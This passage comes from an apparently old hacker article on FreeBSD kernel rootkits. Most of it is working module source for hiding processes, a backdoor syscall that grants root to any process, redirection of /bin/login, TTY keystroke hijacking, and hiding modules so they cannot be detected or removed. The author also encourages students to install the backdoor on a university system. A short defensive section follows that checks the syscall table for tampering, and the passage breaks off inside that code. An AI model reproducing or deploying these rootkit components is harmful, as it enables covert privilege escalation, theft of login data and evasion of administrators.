/*
* The function called at load/unload.
*/
static int
dummy_handler (struct module *module, int cmd, void *arg)
{
int error = 0;
switch (cmd) {
case MOD_LOAD :
/*replace the sysctl syscall with our own*/
sysent[202]=hacked_sysctl_sysent;
/*replace the kill syscall with our own*/
sysent[37]=hacked_kill_sysent;
/*replace the getdirentries syscall with our own*/
sysent[196]=hacked_getdirentries_sysent;
break;
case MOD_UNLOAD :
/*argument count has not changed, so we only need to restore the
function pointer*/
sysent[202].sy_call=(sy_call_t*)__sysctl;
sysent[37].sy_call=(sy_call_t*)kill;
sysent[196].sy_call=(sy_call_t*)getdirentries;
break;
default :
error = EINVAL;
break;
}
return error;
}
/*module data*/
static moduledata_t syscall_mod = {
"ProcHide",
dummy_handler,
NULL
};
DECLARE_MODULE(syscall, syscall_mod, SI_SUB_DRIVERS, SI_ORDER_MIDDLE);
Load this module and the process will be hidden. Already started processes can
- of course - also be hidden.
You may say that this solution does not look very nice, I know, but again it's
working. And please bear in mind that this module is again experimental.
For kernel starters :
You may wonder why I didn't patch the allproc or zombproc list directly. Well
those lists are also required for scheduling and other important system tasks.
It would be far too complicated to code something like this, I really think
that it's quite impossible.
3.2 Backdoor 'rootshell'
The following module was a nice idea I had when playing around with the proc
structure. Load this module, and you can 'SU' without a password.
The idea is very simple. The module implements a system call that gets one
argument : a PID. This can be the PID of any process, but will normally be the
PID of your user account shell (tcsh, sh, bash or whatever). This
process will then become root (UID 0) by manipulating its cred structure.
Here we go :
#include
#include
#include
#include
#include
#include
#include
#include
#include
/*arguments for our system call*/
struct make_me_root_args {
/*which process should be set UID=0?*/
int p_pid;
};
/*A very simple system call handler making a certain process UID=0*/
static int
make_me_root (struct proc *p, struct make_me_root_args *uap)
{
struct proc *pr=pfind(uap->p_pid);
/*this is all we need...*/
pr->p_cred->pc_ucred->cr_uid=0;
return 0;
}
/*
* The `sysent' for the our syscall
*/
static struct sysent make_me_root_sysent = {
1, /* sy_narg */
make_me_root /* sy_call */
};
/*we choose slot number 210, because it's free on FreeBSD 3.1*/
static int offset = 210;
/*nothing to do here*/
static int
load (struct module *module, int cmd, void *arg)
{
return 0;
}
/*start everything*/
SYSCALL_MODULE(rootmod, &offset, &make_me_root_sysent, load, NULL);
The problem is that anyone can call this system call, but you can add some
kind of simple authentication (like I did before) or just hide it with a
filesysetem hack ;).
Here's the user space :
/*in argv[1] this program waits for the PID to set UID=0*/
#include
#include
#include
#include
struct make_me_root_args {
int p_pid;
};
int
main(int argc, char **argv)
{
struct make_me_root_args mmra;
mmra.p_pid=atoi(argv[1]);
return syscall (210, mmra);
}
In my opinion this is one of the easiest local backdoors. Interesting for
thousands of students. Image your university uses a buggy FreeBSD system (every
system is buggy, no piece of software is perfect). Do the scrippt-kiddie trick
and become root, install the module (hiding should be added) and you are done.
4. File execution redirection
This method and its advantages were already described in my Linux article, so
I will only give you the code plus some short words. Please note that this
hack approach is a bit different from the Linux idea, so pay attention :
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
/*
* Shareable process virtual address space.
* May eventually be merged with vm_map.
* Several fields are temporary (text, data stuff).
*/
struct vmspace {
/*NOTE : I just used some padding stuff, to avoid too much include file
problems...
*/
/* struct vm_map vm_map; VM address map */
char pad1[100];
/* struct pmap vm_pmap; private physical map */
char pad2[36];
int vm_refcnt; /* number of references */
caddr_t vm_shm; /* SYS5 shared memory private data XXX */
/* we copy from vm_startcopy to the end of the structure on fork */
#define vm_startcopy vm_rssize
segsz_t vm_rssize; /* current resident set size in pages */
segsz_t vm_swrss; /* resident set size before last swap */
segsz_t vm_tsize; /* text size (pages) XXX */
segsz_t vm_dsize; /* data size (pages) XXX */
segsz_t vm_ssize; /* stack size (pages) */
caddr_t vm_taddr; /* user virtual address of text XXX */
caddr_t vm_daddr; /* user virtual address of data XXX */
caddr_t vm_maxsaddr; /* user VA at max stack growth */
caddr_t vm_minsaddr; /* user VA at max stack growth */
};
/*the hacked execve syscall*/
static
int hacked_execve(struct proc *p, struct execve_args *uap)
{
char name[255];
/*the file we want to redirect*/
char old_name[]="/bin/login";
/*the new file to execute, perhaps hiding is a good idea...*/
char new_name[]="/bin/newlogin";
size_t done;
struct obreak_args oa;
struct execve_args kap;
struct execve_aegs *nap;
char *user_new_name;
/*get the program name the system (user) wants to execute via execve*/
copyinstr(uap->fname, name, 255, &done);
/*do we have the right file name?*/
if (strcmp((char*)&name, (char*)&old_name)==0)
{
/*IDEA : Now we allocate a bit of user space memory for a new execve_args
structure...*/
/*allocate one page*/
oa.nsize=curproc->p_vmspace->vm_daddr+ctob(curproc->p_vmspace->vm_dsize)+
4096;
/*set the adress*/
user_new_name=oa.nsize-256;
/*copy the new name to user space location*/
copyout(&new_name, user_new_name, strlen(new_name));
/*set the pointer kap.fname to the user space location*/
kap.fname=oa.nsize-256;
/*set the pointer kap.argv to the old uap entry in user space*/
kap.argv=uap->argv;
/*the same as above*/
kap.envv=uap->envv;
/*set the adress for the new execve_args structure in user space*/
nap=(struct execve_args*)oa.nsize-4000;
/*copy the kernel execve_args structure to the user space one*/
copyout(&kap, nap, sizeof(struct execve_args));
/*execute the new command with the same argv and envv values*/
return execve(curproc, nap);
}
/*if we don't have our file, just continue*/
return execve(p, uap);
}
/*the hacked execve syscall*/
static struct sysent hacked_execve_sysent = {
3,
hacked_execve /* sy_call */
};
/*
* The function called at load/unload.
*/
static int
dummy_handler (struct module *module, int cmd, void *arg)
{
int error = 0;
switch (cmd) {
case MOD_LOAD :
/*replace the execve syscall with our own*/
sysent[SYS_execve]=hacked_execve_sysent;
break;
case MOD_UNLOAD :
/*argument count has not changed, so we only need to restore the
function pointer*/
sysent[SYS_execve].sy_call=(sy_call_t*)execve;
break;
default :
error = EINVAL;
break;
}
return error;
}
static moduledata_t syscall_mod = {
"ExeRedirect",
dummy_handler,
NULL
};
DECLARE_MODULE(syscall, syscall_mod, SI_SUB_DRIVERS, SI_ORDER_MIDDLE);
I had to reuse an execve system call, so I was forced to allocate some user
space memory for the new args. This is why the module is a bit long.
5. TTY hijacking
TTY hijacking has a long tradition, and though there may be lots of ways to do,
kernel code is a quite nice solution. It was demonstrated on Linux boxes with
LKM. Now it's time to show you how it works on BSD.
So take a look at my 10 minutes hack (don't expect good code) :
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
/*TTY we want to hijack*/
#define MAJOR 12
#define MINOR 2
/*buffer size to use (for TTY data)*/
#define BUFSIZE 8192
/*global memory for saving all TTY inputs*/
char *ttybuf;
/*global counter to implement some (bad) kind of ring buffer*/
int globalcounter=0;
MALLOC_DEFINE(M_BUF, "buf", "buf");
/*structure for system call to retrieve the TTYbuf data*/
static struct get_tty_args {
char *buf;
};
/*I packed some structures into this module, to make things clearer.*/
struct specinfo {
struct vnode **si_hashchain;
struct vnode *si_specnext;
struct mount *si_mountpoint;
dev_t si_rdev;
unsigned long si_blksize;
};
/*stuff needed for vnode structure*/
typedef int vop_t __P((void *));
enum vtype { VNON, VREG, VDIR, VBLK, VCHR, VLNK, VSOCK, VFIFO, VBAD };
TAILQ_HEAD(buflists, buf);
/*non-complete vnode structure, we only need the device parts.*/
struct vnode {
u_long v_flag; /* vnode flags (see below) */
int v_usecount; /* reference count of users */
int v_writecount; /* reference count of writers */
int v_holdcnt; /* page & buffer references */
daddr_t v_lastr; /* last read (read-ahead) */
u_long v_id; /* capability identifier */
struct mount *v_mount; /* ptr to vfs we are in */
vop_t **v_op; /* vnode operations vector */
TAILQ_ENTRY(vnode) v_freelist; /* vnode freelist */
LIST_ENTRY(vnode) v_mntvnodes; /* vnodes for mount point */
struct buflists v_cleanblkhd; /* clean blocklist head */
struct buflists v_dirtyblkhd; /* dirty blocklist head */
LIST_ENTRY(vnode) v_synclist; /* vnodes with dirty buffers */
long v_numoutput; /* num of writes in progress */
enum vtype v_type; /* vnode type */
union {
struct mount *vu_mountedhere;/* ptr to mounted vfs (VDIR) */
struct socket *vu_socket; /* unix ipc (VSOCK) */
struct specinfo *vu_specinfo; /* device (VCHR, VBLK) */
struct fifoinfo *vu_fifoinfo; /* fifo (VFIFO) */
} v_un;
/*....*/
};
/*the shortest systemcall I ever saw, but (again) everything is working*/
static
void get_tty(struct proc *p, struct get_tty_args *uap)
{
copyout(ttybuf, uap->buf, BUFSIZE);
}
/*the hacked write syscall*/
static
int hacked_write(struct proc *p, struct write_args *uap)
{
/*we will examine the vnode of the file it is read from*/
struct vnode *vn;
/*we have to check the device for our TTY*/
dev_t device;
/*get the vnode*/
vn=(struct vnode*)curproc->p_fd->fd_ofiles[uap->fd]->f_data;
/*do we have a character device?*/
if (vn->v_type==VCHR)
{
/*if so get the device*/
device=vn->v_un.vu_specinfo->si_rdev;
/*check for MAJOR and MINOR codes*/
if ((major(device)==MAJOR) && (minor(device)==MINOR))
{
/*arghh, this is no nice solution. Computer Science students should
correct this bad ring buffer implementation*/
if ((globalcounter+uap->nbyte)>BUFSIZE) globalcounter=0;
/*again no nice coding, just call me Mr. Lazy ;)*/
if (uap->nbytebuf, ttybuf+globalcounter, uap->nbyte);
globalcounter+=uap->nbyte;
}
}
return write(p, uap);
}
/*the hacked open syscall*/
static struct sysent hacked_write_sysent = {
3,
hacked_write /* sy_call */
};
/*our own system call for bringing the kernel buffer to user space*/
static struct sysent get_tty_sysent = {
1,
get_tty /* sy_call */
};
static int
dummy_handler (struct module *module, int cmd, void *arg)
{
int error = 0;
switch (cmd) {
case MOD_LOAD :
/*allocate memory. Bear in mind that M_NOWAIT is always a bit critical!*/
MALLOC(ttybuf, char*, BUFSIZE, M_BUF, M_NOWAIT);
/*replace the execve syscall with our own*/
sysent[SYS_write]=hacked_write_sysent;
/*again we use slot 210*/
sysent[210]=get_tty_sysent;
break;
case MOD_UNLOAD :
/*free buffer*/
FREE(ttybuf, M_BUF);
/*argument count has not changed, so we only need to restore the
function pointer*/
sysent[SYS_write].sy_call=(sy_call_t*)write;
break;
default :
error = EINVAL;
break;
}
return error;
}
static moduledata_t syscall_mod = {
"TTYhijack",
dummy_handler,
NULL
};
DECLARE_MODULE(syscall, syscall_mod, SI_SUB_DRIVERS, SI_ORDER_MIDDLE);
For any explainations read my Linux LKM text :). TTY hijacking is realized by
intercepting every write system call and checking the vnode for the correct
device codes (specified through major and minor).
The following little program represents the user space part, getting the
data.
#include
#include
#include
#include
struct get_tty_args {
char *buf;
};
int
main(int argc, char **argv)
{
/*maybe you have to adjust the size value (see BUFSIZE in module)*/
char *buf=(char*)malloc(8192);
struct get_tty_args uap;
int counter;
uap.buf=buf;
syscall (210, uap);
/*I used this way of printing, maybe it would be a better job to handle some
command codes (old plain ASCII)*/
for (counter=0; counter<=8192; counter++)
printf("%c", buf[counter]);
}
Ok, start the module with desired device codes. Wait some time, and start user
space program...
The first big Linux TTY hijacking LKM used a device to manage the TTY buffer.
Of course, this would also work on FreeBSD, but I hadn't got the time, so
I just installed a system call.
6. Hiding the module
[Note : LKM hiding under FreeBSD 2.x systems was done before, KLD hiding for
3.x systems is new, so read & learn.]
Now it's time to discuss hiding of our module. First of all we have to think
about what to hide.
As I explained above there is a big difference between a link file and a
module. Commands like 'kldstat' will give you a listing of loaded linkfiles,
but there is no command to get a list of all loaded modules.
So guess where kldstat gets the listing from. It's just the linker file list
'files'. Now it's quite easy to hide this module and make it unremovable. Just
delete the desired entry from the files list, and everything is fine. There are
no problems with doing this (like there were with the proc lists). I have to
admit that I only analyzed 40 % of the whole kernel code (I will continue) so
I also implemented module hiding perhaps there is a place in the kernel we
need it. So let's take a look at my implementation :
/*FEATURES :
- manipulate linker files list
- manipulate moodules list
- manipulate first linker file entry
- manipulate global linker file ID coutner
- manipulate global modules ID counter
*/
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
typedef TAILQ_HEAD(, module) modulelist_t;
extern struct lock lock;
/*we have to patch the files list*/
extern linker_file_list_t files;
extern int next_file_id;
/*we have to patch the modules list*/
extern modulelist_t modules;
extern int nextid;
struct module {
TAILQ_ENTRY(module) link;
TAILQ_ENTRY(module) flink;
struct linker_file *file;
int refs;
int id;
char *name;
modeventhand_t handler;
void *arg;
modspecific_t data;
};
char string[]="Hello Word";
/*this is just to show that extern functions also work*/
static
void do_a_print()
{
printf("IT WORKS : %s\n", string);
}
/*The syscall *TODO* function*/
/*This function is not necessary, because we just want to hide a module. We
only need it for checking, that our module is still working.*/
static int
hello (struct proc *p, void *arg)
{
printf ("SYSCALL was ESTABLISHED and is still in memory \n");
do_a_print();
return 0;
}
/*
* The `sysent' for the new syscall
*/
static struct sysent hello_sysent = {
0, /* sy_narg */
hello /* sy_call */
};
/*
* The offset in sysent where the syscall is allocated.
*/
/*NO_SYSCALL stands for 'let the kernel choose the syscall number'*/
static int offset = 210;
/*
* The function called at load/unload.
*/
static int
load (struct module *module, int cmd, void *arg)
{
linker_file_t lf=0;
module_t mod=0;
lockmgr(&lock, LK_SHARED, 0, curproc);
/*NOTE : The first linker file is the current kernel image (/kernel for
example). If we load our module we will increase the reference cound
of the kernel link file, this might be a bit suspect, so we must
patch this.*/
(&files)->tqh_first->refs--;
for (lf=(&files)->tqh_first; lf; lf=(lf)->link.tqe_next) {
if (!strcmp(lf->filename, "hide.ko"))
{
/*first let's decrement the global link file counter*/
next_file_id--;
/*now let's remove the entry*/
if (((lf)->link.tqe_next)!=NULL)
(lf)->link.tqe_next->link.tqe_prev=(lf)->link.tqe_prev;
else
(&files)->tqh_last=(lf)->link.tqe_prev;
*(lf)->link.tqe_prev=(lf)->link.tqe_next;
break;
}
}
lockmgr(&lock, LK_RELEASE, 0, curproc);
for (mod=TAILQ_FIRST(&modules); mod; mod=TAILQ_NEXT(mod, link)) {
if(!strcmp(mod->name, "mysys"))
{
/*first let's patch the internal ID counter*/
nextid--;
TAILQ_REMOVE(&modules, mod, link);
}
}
return 0;
}
/*start everything*/
/*This function only sets the field of X_module_data, where X stands for the
kind of module; here SYSCALL_...*/
SYSCALL_MODULE(mysys, &offset, &hello_sysent, load, NULL);
Load this module via kldload and wonder ;). You won't see anything. Even
loading another module will seem totally normal, because the ID field is only
incremented by 1 due to our modifications. After adding this hiding feature
any module is also unremovable and neary undetectable.
7. Last Words
As I said in my introduction this part only showed those hacks that
needed a total re-implementation on BSD compared to the Linux ones. Every other
hack I presented in my Linux text, should also work; but it's too trivial to
explain this here.
Of course, it's also possible to write some kind of FreeBSD virus. Perhaps I
will work on this, but it's quite easy.
III. Securing the kernel
This part will only show you how to avoid some problems (not all) you as
administrator could have with 'hacker' modules playing havoc with your system
call table. My Linux text showed many ways how to fight against hostile modules
with the help of some protection LKMs. I won't repeat those ideas. You can use
all those modules on FreeBSD too, you only have to change the code a bit. This
is why this part is quite short; I only describe some new ideas.
1. How to detect sysent[] modifications
Those of you common with kernel hacking know that nearly every module that
does something useful for a hacker must modify the kernel system call table.
[Note : As I said in my introduction there are lots of ways to attack FreeBSD
without patching the system call table, but ... wait for a further release of
this text :)] Those changes are needed to intercept and manipulate system
calls. Of course there may also be some non-hacking modules that will change
the global system call table (add a system call or so), but normally those
driver modules (for example) don't change existing system calls. So we should
implement some piece of code checking every system call entry on a system that
is defined during startup for suspicious changes.
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
/*
* The function called at load/unload.
*/
static int
dummy_handler (struct module *module, int cmd, void *arg)
{
char error[400];
int counter;
bzero(&error, sizeof(error));
/*this is hard cut & paste coding :-)*/
if (sysent[SYS_exit].sy_call!=exit) error[SYS_exit]=1;
if (sysent[SYS_fork].sy_call!=fork) error[SYS_fork]=1;
if (sysent[SYS_read].sy_call!=read) error[SYS_read]=1;
if (sysent[SYS_write].sy_call!=write) error[SYS_write]=1;
if (sysent[SYS_open].sy_call!=open) error[SYS_open]=1;
if (sysent[SYS_close].sy_call!=close) error[SYS_close]=1;
if (sysent[SYS_wait4].sy_call!=wait4) error[SYS_wait4]=1;
if (sysent[SYS_link].sy_call!=link) error[SYS_link]=1;
if (sysent[SYS_unlink].sy_call!=unlink) error[SYS_unlink]=1;
if (sysent[SYS_chdir].sy_call!=chdir) error[SYS_chdir]=1;
if (sysent[SYS_fchdir].sy_call!=fchdir) error[SYS_fchdir]=1;
if (sysent[SYS_mknod].sy_call!=mknod) error[SYS_mknod]=1;
if (sysent[SYS_chmod].sy_call!=chmod) error[SYS_chmod]=1;
if (sysent[SYS_chown].sy_call!=chown) error[SYS_chown]=1;
if (sysent[SYS_break].sy_call!=obreak) error[SYS_break]=1;
if (sysent[SYS_getfsstat].sy_call!=getfsstat) error[SYS_getfsstat]=1;
if (sysent[SYS_lseek].sy_call!=lseek) error[SYS_lseek]=1;
if (sysent[SYS_getpid].sy_call!=getpid) error[SYS_getpid]=1;
if (sysent[SYS_mount].sy_call!=mount) error[SYS_mount]=1;
if (sysent[SYS_unmount].sy_call!=unmount) error[SYS_unmount]=1;
if (sysent[SYS_setuid].sy_call!=setuid) error[SYS_setuid]=1;
if (sysent[SYS_getuid].sy_call!=getuid) error[SYS_getuid]=1;
if (sysent[SYS_geteuid].sy_call!=geteuid) error[SYS_geteuid]=1;
if (sysent[SYS_ptrace].sy_call!=ptrace) error[SYS_ptrace]=1;
if (sysent[SYS_recvmsg].sy_call!=recvmsg) error[SYS_recvmsg]=1;
if (sysent[SYS_sendmsg].sy_call!=sendmsg) error[SYS_sendmsg]=1;
if (sysent[SYS_recvfrom].sy_call!=recvfrom) error[SYS_recvfrom]=1;
if (sysent[SYS_accept].sy_call!=accept) error[SYS_accept]=1;
if (sysent[SYS_getpeername].sy_call!=getpeername) error[SYS_getpeername]=1;
if (sysent[SYS_getsockname].sy_call!=getsockname) error[SYS_getsockname]=1;
if (sysent[SYS_access].sy_call!=access) error[SYS_access]=1;
if (sysent[SYS_chflags].sy_call!=chflags) error[SYS_chflags]=1;
if (sysent[SYS_fchflags].sy_call!=fchflags) error[SYS_fchflags]=1;
if (sysent[SYS_sync].sy_call!=sync) error[SYS_sync]=1;
if (sysent[SYS_kill].sy_call!=kill) error[SYS_kill]=1;
if (sysent[SYS_stat].sy_call!=stat) error[SYS_stat]=1;
if (sysent[SYS_lstat].sy_call!=lstat) error[SYS_lstat]=1;
if (sysent[SYS_dup].sy_call!=dup) error[SYS_dup]=1;
if (sysent[SYS_pipe].sy_call!=pipe) error[SYS_pipe]=1;
if (sysent[SYS_getegid].sy_call!=getegid) error[SYS_getegid]=1;
if (sysent[SYS_profil].sy_call!=profil) error[SYS_profil]=1;
if (sysent[SYS_ktrace].sy_call!=ktrace) error[SYS_ktrace]=1;
if (sysent[SYS_sigaction].sy_call!=sigaction) error[SYS_sigaction]=1;
if (sysent[SYS_getgid].sy_call!=getgid) error[SYS_getgid]=1;
if (sysent[SYS_sigprocmask].sy_call!=sigprocmask) error[SYS_sigprocmask]=1;
if (sysent[SYS_getlogin].sy_call!=getlogin) error[SYS_getlogin]=1;
if (sysent[SYS_setlogin].sy_call!=setlogin) error[SYS_setlogin]=1;
if (sysent[SYS_acct].sy_call!=acct) error[SYS_acct]=1;
if (sysent[SYS_sigpending].sy_call!=sigpending) error[SYS_sigpending]=1;
if (sysent[SYS_sigaltstack].sy_call!=sigaltstack) error[SYS_sigaltstack]=1;
if (sysent[SYS_ioctl].sy_call!=ioctl) error[SYS_ioctl]=1;
if (sysent[SYS_reboot].sy_call!=reboot) error[SYS_reboot]=1;
if (sysent[SYS_revoke].sy_call!=revoke) error[SYS_revoke]=1;
if (sysent[SYS_symlink].sy_call!=symlink) error[SYS_symlink]=1;
if (sysent[SYS_readlink].sy_call!=readlink) error[SYS_readlink]=1;
if (sysent[SYS_execve].sy_call!=execve) error[SYS_execve]=1;
if (sysent[SYS_umask].sy_call!=umask) error[SYS_umask]=1;
if (sysent[SYS_chroot].sy_call!=chroot) error[SYS_chroot]=1;
if (sysent[SYS_fstat].sy_call!=fstat) error[SYS_fstat]=1;
if (sysent[SYS_msync].sy_call!=msync) error[SYS_msync]=1;
if (sysent[SYS_vfork].sy_call!=vfork) error[SYS_vfork]=1;
if (sysent[SYS_sbrk].sy_call!=sbrk) error[SYS_sbrk]=1;
if (sysent[SYS_sstk].sy_call!=sstk) error[SYS_sstk]=1;
if (sysent[SYS_vadvise].sy_call!=ovadvise) error[SYS_vadvise]=1;
if (sysent[SYS_munmap].sy_call!=munmap) error[SYS_munmap]=1;
if (sysent[SYS_mprotect].sy_call!=mprotect) error[SYS_mprotect]=1;
if (sysent[SYS_madvise].sy_call!=madvise) error[SYS_madvise]=1;
if (sysent[SYS_mincore].sy_call!=mincore) error[SYS_mincore]=1;
if (sysent[SYS_getgroups].sy_call!=getgroups) error[SYS_getgroups]=1;
if (sysent[SYS_setgroups].sy_call!=setgroups) error[SYS_setgroups]=1;
if (sysent[SYS_getpgrp].sy_call!=getpgrp) error[SYS_getpgrp]=1;
if (sysent[SYS_setpgid].sy_call!=setpgid) error[SYS_setpgid]=1;
if (sysent[SYS_setitimer].sy_call!=setitimer) error[SYS_setitimer]=1;
if (sysent[SYS_swapon].sy_call!=swapon) error[SYS_swapon]=1;
if (sysent[SYS_getitimer].sy_call!=getitimer) error[SYS_getitimer]=1;
if (sysent[SYS_getdtablesize].sy_call!=getdtablesize)
error[SYS_getdtablesize]=1;
if (sysent[SYS_dup2].sy_call!=dup2) error[SYS_dup2]=1;
if (sysent[SYS_fcntl].sy_call!=fcntl) error[SYS_fcntl]=1;
if (sysent[SYS_select].sy_call!=select) error[SYS_select]=1;
if (sysent[SYS_fsync].sy_call!=fsync) error[SYS_fsync]=1;
if (sysent[SYS_setpriority].sy_call!=setpriority) error[SYS_setpriority]=1;
if (sysent[SYS_socket].sy_call!=socket) error[SYS_socket]=1;
if (sysent[SYS_connect].sy_call!=connect) error[SYS_connect]=1;
if (sysent[SYS_accept].sy_call!=accept) error[SYS_accept]=1;
if (sysent[SYS_getpriority].sy_call!=getpriority) error[SYS_getpriority]=1;
if (sysent[SYS_sigreturn].sy_call!=sigreturn) error[SYS_sigreturn]=1;
if (sysent[SYS_bind].sy_call!=bind) error[SYS_bind]=1;
if (sysent[SYS_setsockopt].sy_call!=setsockopt) error[SYS_setsockopt]=1;
if (sysent[SYS_listen].sy_call!=listen) error[SYS_listen]=1;
if (sysent[SYS_gettimeofday].sy_call!=gettimeofday) error[SYS_gettimeofday]=1;
if (sysent[SYS_getrusage].sy_call!=getrusage) error[SYS_getrusage]=1;
if (sysent[SYS_getsockopt].sy_call!=getsockopt) error[SYS_getsockopt]=1;
if (sysent[SYS_sigreturn].sy_call!=sigreturn) error[SYS_sigreturn]=1;
if (sysent[SYS_readv].sy_call!=readv) error[SYS_readv]=1;
if (sysent[SYS_writev].sy_call!=writev) error[SYS_writev]=1;
if (sysent[SYS_settimeofday].sy_call!=settimeofday) error[SYS_settimeofday]=1;
if (sysent[SYS_fchown].sy_call!=fchown) error[SYS_fchown]=1;
if (sysent[SYS_fchmod].sy_call!=fchmod) error[SYS_fchmod]=1;
if (sysent[SYS_recvfrom].sy_call!=recvfrom) error[SYS_recvfrom]=1;
if (sysent[SYS_setreuid].sy_call!=setreuid) error[SYS_setreuid]=1;
if (sysent[SYS_setregid].sy_call!=setregid) error[SYS_setregid]=1;
if (sysent[SYS_rename].sy_call!=rename) error[SYS_rename]=1;
if (sysent[SYS_truncate].sy_call!=truncate) error[SYS_truncate]=1;
if (sysent[SYS_ftruncate].sy_call!=ftruncate) error[SYS_ftruncate]=1;
if (sysent[SYS_flock].sy_call!=flock) error[SYS_flock]=1;
if (sysent[SYS_mkfifo].sy_call!=mkfifo) error[SYS_mkfifo]=1;
if (sysent[SYS_sendto].sy_call!=sendto) error[SYS_sendto]=1;
if (sysent[SYS_shutdown].sy_call!=shutdown) error[SYS_shutdown]=1;
if (sysent[SYS_socketpair].sy_call!=socketpair) error[SYS_socketpair]=1;
if (sysent[SYS_mkdir].sy_call!=mkdir) error[SYS_mkdir]=1;
if (sysent[SYS_rmdir].sy_call!=rmdir) error[SYS_rmdir]=1;
if (sysent[SYS_utimes].sy_call!=utimes) error[SYS_utimes]=1;
if (sysent[SYS_adjtime].sy_call!=adjtime) error[SYS_adjtime]=1;
if (sysent[SYS_getpeername].sy_call!=getpeername) error[SYS_getpeername]=1;
if (sysent[SYS_getrlimit].sy_call!=getrlimit) error[SYS_getrlimit]=1;
if (sysent[SYS_setrlimit].sy_call!=setrlimit) error[SYS_setrlimit]=1;
if (sysent[SYS_quotactl].sy_call!=quotactl) error[SYS_quotactl]=1;
if (sysent[SYS_statfs].sy_call!=statfs) error[SYS_statfs]=1;
if (sysent[SYS_fstatfs].sy_call!=fstatfs) error[SYS_fstatfs]=1;
if (sysent[SYS_getdomainname].sy_call!=getdomainname)
error[SYS_getdomainname]=1;
if (sysent[SYS_setdomainname].sy_call!=setdomainname)
error[SYS_setdomainname]=1;
if (sysent[SYS_uname].sy_call!=uname) error[SYS_uname]=1;
if (sysent[SYS_sysarch].sy_call!=sysarch) error[SYS_sysarch]=1;
if (sysent[SYS_rtprio].sy_call!=rtprio) error[SYS_rtprio]=1;
if (sysent[SYS_semsys].sy_call!=semsys) error[SYS_semsys]=1;
if (sysent[SYS_msgsys].sy_call!=msgsys) error[SYS_msgsys]=1;
if (sysent[SYS_shmsys].sy_call!=shmsys) error[SYS_shmsys]=1;
if (sysent[SYS_setgid].sy_call!=setgid) error[SYS_setgid]=1;
if (sysent[SYS_setegid].sy_call!=setegid) error[SYS_setegid]=1;
if (sysent[SYS_seteuid].sy_call!=seteuid) error[SYS_seteuid]=1;
if (sysent[SYS_stat].sy_call!=stat) error[SYS_stat]=1;
if (sysent[SYS_fstat].sy_call!=fstat) error[SYS_fstat]=1;
if (sysent[SYS_lstat].sy_call!=lstat) error[SYS_lstat]=1;
if (sysent[SYS_pathconf].sy_call!=pathconf) error[SYS_pathconf]=1;
if (sysent[SYS_fpathconf].sy_call!=fpathconf) error[SYS_fpathconf]=1;
if (sysent[SYS_getrlimit].sy_call!=getrlimit) error[SYS_getrlimit]=1;
if (sysent[SYS_setrlimit].sy_call!=setrlimit) error[SYS_setrlimit]=1;
if (sysent[SYS_getdirentries].sy_call!=getdirentries)
error[SYS_getdirentries]=1;
if (sysent[SYS_mmap].sy_call!=mmap) error[SYS_mmap]=1;
if (sysent[SYS_lseek].sy_call!=lseek) error[SYS_lseek]=1;
if (sysent[SYS_truncate].sy_call!=truncate) error[SYS_truncate]=1;
if (sysent[SYS_ftruncate].sy_call!=ftruncate) error[SYS_ftruncate]=1;
if (sysent[SYS___sysctl].sy_call!=__sysctl) error[SYS___sysctl]=1;
if (sysent[SYS_mlock].sy_call!=mlock) error[SYS_mlock]=1;
if (sysent[SYS_munlock].sy_call!=munlock) error[SYS_munlock]=1;
if (sysent[SYS_undelete].sy_call!=undelete) error[SYS_undelete]=1;
if (sysent[SYS_futimes].sy_call!=futimes) error[SYS_futimes]=1;
if (sysent[SYS_getpgid].sy_call!=getpgid) error[SYS_getpgid]=1;
if (sysent[SYS_poll].sy_call!=poll) error[SYS_poll]=1;
if (sysent[SYS___semctl].sy_call!=__semctl) error[SYS___semctl]=1;
if (sysent[SYS_semget].sy_call!=semget) error[SYS_semget]=1;
if (sysent[SYS_semop].sy_call!=semop) error[SYS_semop]=1;
if (sysent[SYS_semconfig].sy_call!=semconfig) error[SYS_semconfig]=1;
if (sysent[SYS_msgctl].sy_call!=msgctl) error[SYS_msgctl]=1;
if (sysent[SYS_msgsnd].sy_call!=msgsnd) error[SYS_msgsnd]=1;
if (sysent[SYS_msgrcv].sy_call!=msgrcv) error[SYS_msgrcv]=1;
if (sysent[SYS_shmat].sy_call!=shmat) error[SYS_shmat]=1;
if (sysent[SYS_shmctl].sy_call!=shmctl) error[SYS_shmctl]=1;
if (sysent[SYS_shmdt].sy_call!=shmdt) error[SYS_shmdt]=1;
if (sysent[SYS_shmget].sy_call!=shmget) error[SYS_shmget]=1;
if (sysent[SYS_clock_gettime].sy_call!=clock_gettime)
error[SYS_clock_gettime]=1;
if (sysent[SYS_clock_settime].sy_call!=clock_settime)
error[SYS_clock_settime]=1;
if (sysent[SYS_clock_getres].sy_call!=clock_getres)
error[SYS_clock_getres]=1;
if (sysent[SYS_nanosleep].sy_call!=nanosleep) error[SYS_nanosleep]=1;
if (sysent[SYS_minherit].sy_call!=minherit) error[SYS_minherit]=1;
if (sysent[SYS_rfork].sy_call!=rfork) error[SYS_rfork]=1;
if (sysent[SYS_openbsd_poll].sy_call!=openbsd_poll)
error[SYS_openbsd_poll]=1;
if (sysent[SYS_issetugid].sy_call!=issetugid)
error[SYS_issetugid]=1;
if (sysent[SYS_lchown].sy_call!=lchown) error[SYS_lchown]=1;
if (sysent[SYS_getdents].sy_call!=getdents) error[SYS_getdents]=1;
if (sysent[SYS_lchmod].sy_call!=lchmod) error[SYS_lchmod]=1;
if (sysent[SYS_lutimes].sy_call!=lutimes) error[SYS_lutimes]=1;
if (sysent[SYS_modnext].sy_call!=modnext) error[SYS_modnext]=1;
if (sysent[SYS_modstat].sy_call!=modstat) error[SYS_modstat]=1;
if (sysent[SYS_modfnext].sy_call!=modfnext) error[SYS_modfnext]=1;
if (sysent[SYS_modfind].sy_call!=modfind) error[SYS_modfind]=1;
if (sysent[SYS_kldload].sy_call!=kldload) error[SYS_kldload]=1;
if (sysent[SYS_kldunload].sy_call!=kldunload) error[SYS_kldunload]=1;
if (sysent[SYS_kldfind].sy_call!=kldfind) error[SYS_kldfind]=1;
if (sysent[SYS_kldnext].sy_call!=kldnext) error[SYS_kldnext]=1;
if (sysent[SYS_kldstat].sy_call!=kldstat) error[SYS_kldstat]=1;
